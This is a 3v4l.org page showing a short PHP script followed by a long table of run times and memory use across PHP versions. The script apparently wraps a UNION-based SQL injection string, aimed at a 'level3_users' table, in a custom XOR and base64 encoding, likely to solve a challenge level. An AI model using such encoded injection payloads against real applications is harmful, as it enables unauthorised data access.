3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo(encrypt("MTI5MTY0MTczMTY5MTc0 union all select 1,2,3,4,5 from level3_users where username=Admin")); ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.01018.55
8.3.50.0090.00921.99
8.3.40.0060.00918.70
8.3.30.0110.00319.07
8.3.20.0000.00820.20
8.3.10.0060.00322.10
8.3.00.0050.00322.40
8.2.180.0140.00716.38
8.2.170.0040.01122.96
8.2.160.0000.01420.38
8.2.150.0080.00024.18
8.2.140.0080.00024.66
8.2.130.0080.00026.16
8.2.120.0080.00019.36
8.2.110.0060.00322.11
8.2.100.0060.00619.57
8.2.90.0000.00719.17
8.2.80.0030.00517.97
8.2.70.0050.00317.59
8.2.60.0030.00517.91
8.2.50.0000.00818.07
8.2.40.0050.00218.34
8.2.30.0040.00418.05
8.2.20.0000.00817.79
8.2.10.0080.00019.40
8.2.00.0040.00417.77
8.1.280.0110.01125.92
8.1.270.0040.00422.20
8.1.260.0030.00526.35
8.1.250.0050.00328.09
8.1.240.0090.00023.79
8.1.230.0040.00819.01
8.1.220.0040.00417.74
8.1.210.0040.00418.77
8.1.200.0000.00917.22
8.1.190.0000.00717.53
8.1.180.0040.00418.10
8.1.170.0050.00318.52
8.1.160.0000.01022.00
8.1.150.0030.00518.66
8.1.140.0000.00717.48
8.1.130.0030.00317.91
8.1.120.0040.00417.47
8.1.110.0030.00517.32
8.1.100.0000.00817.38
8.1.90.0040.00417.48
8.1.80.0040.00417.32
8.1.70.0070.00017.40
8.1.60.0000.01017.63
8.1.50.0030.00517.53
8.1.40.0000.00717.57
8.1.30.0050.00317.61
8.1.20.0040.00417.65
8.1.10.0040.00417.46
8.1.00.0020.00517.35
8.0.300.0070.00018.77
8.0.290.0050.00317.18
8.0.280.0000.00718.62
8.0.270.0000.00817.18
8.0.260.0040.00416.77
8.0.250.0000.00716.91
8.0.240.0060.00316.89
8.0.230.0040.00416.88
8.0.220.0000.00816.86
8.0.210.0030.00316.93
8.0.200.0050.00317.06
8.0.190.0070.00017.04
8.0.180.0050.00316.96
8.0.170.0030.00616.94
8.0.160.0000.00716.96
8.0.150.0030.00416.93
8.0.140.0080.00016.89
8.0.130.0050.00013.40
8.0.120.0040.00416.86
8.0.110.0040.00417.00
8.0.100.0000.00816.77
8.0.90.0000.00716.71
8.0.80.0060.00916.95
8.0.70.0040.00416.78
8.0.60.0000.00716.98
8.0.50.0000.00716.93
8.0.30.0060.01717.13
8.0.20.0090.01617.40
8.0.10.0000.00816.96
8.0.00.0080.01216.97
7.4.330.0050.00015.09
7.4.320.0030.00316.49
7.4.300.0060.00016.65
7.4.290.0030.00316.59
7.4.280.0070.00016.66
7.4.270.0070.00016.50
7.4.260.0070.00016.52
7.4.250.0000.00716.55
7.4.240.0000.00716.64
7.4.230.0030.00316.70
7.4.220.0120.00616.51
7.4.210.0100.00716.60
7.4.200.0040.00416.48
7.4.190.0000.00716.45
7.4.160.0080.00816.59
7.4.150.0040.01417.40
7.4.140.0090.00917.86
7.4.130.0140.00916.50
7.4.120.0080.00916.48
7.4.110.0130.01016.68
7.4.100.0040.02016.57
7.4.90.0060.01616.58
7.4.80.0110.00719.39
7.4.70.0030.01216.62
7.4.60.0050.01216.57
7.4.50.0030.00516.37
7.4.40.0070.01022.77
7.4.30.0030.01216.38
7.4.00.0060.00814.81
7.3.330.0030.00313.41
7.3.320.0030.00313.20
7.3.310.0070.00016.26
7.3.300.0030.00316.39
7.3.290.0060.00916.41
7.3.280.0080.00916.38
7.3.270.0120.00617.40
7.3.260.0110.01116.42
7.3.250.0080.00916.45
7.3.240.0070.01016.45
7.3.230.0030.01316.44
7.3.210.0150.00316.60
7.3.200.0070.01119.39
7.3.190.0030.01816.36
7.3.180.0110.01116.37
7.3.170.0100.00716.52
7.3.160.0120.00316.54
7.3.120.0070.01014.99
7.3.110.0090.00914.75
7.3.100.0030.01414.50
7.3.90.0120.00014.66
7.3.80.0030.00914.63
7.3.70.0130.00314.71
7.3.60.0040.00714.91
7.3.50.0100.00314.57
7.3.40.0080.00814.93
7.3.30.0090.00914.87
7.3.20.0030.01416.81
7.3.10.0070.00316.64
7.3.00.0040.01416.76
7.2.330.0100.00616.82
7.2.320.0120.00616.83
7.2.310.0030.01916.77
7.2.300.0130.01016.59
7.2.290.0160.00016.77
7.2.250.0070.01014.89
7.2.240.0090.00915.04
7.2.230.0110.00315.25
7.2.220.0070.01115.35
7.2.210.0110.00615.34
7.2.200.0030.01014.99
7.2.190.0000.01515.00
7.2.180.0060.00915.14
7.2.170.0060.00615.20
7.2.00.0030.00619.58
7.1.330.0100.00315.54
7.1.320.0040.00415.79
7.1.310.0070.00715.91
7.1.300.0050.00515.47
7.1.290.0060.00915.87
7.1.280.0060.00915.59
7.1.270.0000.01415.59
7.1.260.0080.00415.75
7.1.100.0100.00717.89
7.1.70.0030.00617.09
7.1.60.0100.01319.82
7.1.50.0000.01616.73
7.1.00.0070.07322.54
7.0.200.0000.00716.77
7.0.140.0030.07322.04
7.0.60.0070.03719.96
7.0.50.0000.07017.87
7.0.40.0030.04320.22
7.0.30.0170.04320.06
7.0.20.0470.06320.15
7.0.10.0300.08720.21
7.0.00.0070.08020.07
5.6.280.0130.06021.08
5.6.210.0130.06720.45
5.6.200.0100.07318.14
5.6.190.0030.06320.39
5.6.180.3500.03720.46
5.6.170.0200.05020.39
5.6.160.0170.05320.71
5.6.150.0100.08018.18
5.6.140.0030.04718.28
5.6.130.0070.06318.28
5.6.120.0000.05720.99
5.6.110.0000.04721.13
5.6.100.0030.08720.96
5.6.90.0100.08721.04
5.6.80.0130.06320.34
5.6.70.0330.07720.37
5.5.350.0070.07720.34
5.5.340.0030.08017.99
5.5.330.0030.04720.29
5.5.320.0330.07020.31
5.5.310.0330.06020.25
5.5.300.0100.08318.08
5.5.290.0030.05717.99
5.5.280.0030.04320.83
5.5.270.0130.07720.88
5.5.260.0000.04320.69
5.5.250.0030.08320.63
5.5.240.0170.07320.18
5.4.450.0430.07319.57
5.4.440.0770.05019.54
5.4.430.0130.05019.64
5.4.420.0130.07319.52
5.4.410.0170.04719.42
5.4.400.0870.00018.89
5.4.390.0770.00018.57
5.4.380.0370.05718.73
5.4.370.0200.06318.48
5.4.360.0300.04018.75
5.4.350.0170.05318.73
5.4.340.0370.03718.54
5.4.320.0080.04912.51
5.4.310.0080.05012.50
5.4.300.0040.04712.51
5.4.290.0080.04612.50
5.4.280.0060.04112.41
5.4.270.0130.07018.97
5.4.260.0100.06318.77
5.4.250.0070.05718.94
5.4.240.0200.07018.75
5.4.230.0130.06318.95
5.4.220.0100.05718.90
5.4.210.0200.07018.80
5.4.200.0100.05018.65
5.4.190.0100.08318.98
5.4.180.0130.06718.94
5.4.170.0200.06718.79
5.4.160.0170.05318.89
5.4.150.0170.05018.62
5.4.140.0030.07016.38
5.4.130.0170.06716.41
5.4.120.0130.06016.54
5.4.110.0100.07016.46
5.4.100.0170.05016.61
5.4.90.0200.04016.43
5.4.80.0170.04016.46
5.4.70.0130.05716.59
5.4.60.0100.04716.36
5.4.50.0070.05316.38
5.4.40.0130.06316.65
5.4.30.0130.06316.52
5.4.20.0130.04716.38
5.4.10.0030.05716.46
5.4.00.0070.05315.82
5.3.290.0080.04812.80
5.3.280.0030.05714.60
5.3.270.0170.06314.64
5.3.260.0070.06714.61
5.3.250.0170.06314.63
5.3.240.0100.07314.60
5.3.230.0270.05714.78
5.3.220.0100.04714.65
5.3.210.0070.08014.64
5.3.200.0100.05014.72
5.3.190.0070.06714.66
5.3.180.0100.05314.79
5.3.170.0170.04714.63
5.3.160.0300.05314.40
5.3.150.0170.04714.65
5.3.140.0100.06714.59
5.3.130.0200.07314.64
5.3.120.0070.05014.57
5.3.110.0070.05314.57
5.3.100.0100.05714.12
5.3.90.0070.07314.10
5.3.80.0100.05014.10
5.3.70.0030.05314.10
5.3.60.0100.05013.84
5.3.50.0030.05713.94
5.3.40.0130.04713.93
5.3.30.0070.05313.89
5.3.20.0070.05013.71
5.3.10.0100.06713.64
5.3.00.0000.05713.73
5.2.170.0200.03311.05
5.2.160.0130.05311.32
5.2.150.0100.04311.21
5.2.140.0030.04711.30
5.2.130.0030.04311.18
5.2.120.0170.05011.07
5.2.110.0030.05311.11
5.2.100.0030.04011.19
5.2.90.0030.04010.93
5.2.80.0070.04311.32
5.2.70.0100.05311.14
5.2.60.0230.03311.24
5.2.50.0100.05711.04
5.2.40.0070.04010.96
5.2.30.0130.04710.95
5.2.20.0130.04710.87
5.2.10.0100.03710.95
5.2.00.0130.03710.91
5.1.60.0070.03710.01
5.1.50.0100.03310.07
5.1.40.0130.0409.98
5.1.30.0130.04010.24
5.1.20.0100.04310.44
5.1.10.0070.05010.31
5.1.00.0070.03310.13
5.0.50.0030.0308.80
5.0.40.0130.0208.62
5.0.30.0100.0408.08
5.0.20.0030.0278.18
5.0.10.0070.0238.20
5.0.00.0100.0378.16
4.4.90.0030.0206.56
4.4.80.0030.0236.56
4.4.70.0070.0276.56
4.4.60.0070.0206.56
4.4.50.0000.0236.56
4.4.40.0070.0276.56
4.4.30.0030.0276.56
4.4.20.0000.0336.56
4.4.10.0030.0206.56
4.4.00.0070.0436.56
4.3.110.0000.0236.56
4.3.100.0030.0306.56
4.3.90.0070.0176.56
4.3.80.0070.0376.56
4.3.70.0030.0206.56
4.3.60.0030.0206.56
4.3.50.0000.0276.56
4.3.40.0100.0276.55
4.3.30.0130.0176.55
4.3.20.0100.0176.55
4.3.10.0030.0276.55
4.3.00.0100.0236.11

preferences:
44.21 ms | 401 KiB | 5 Q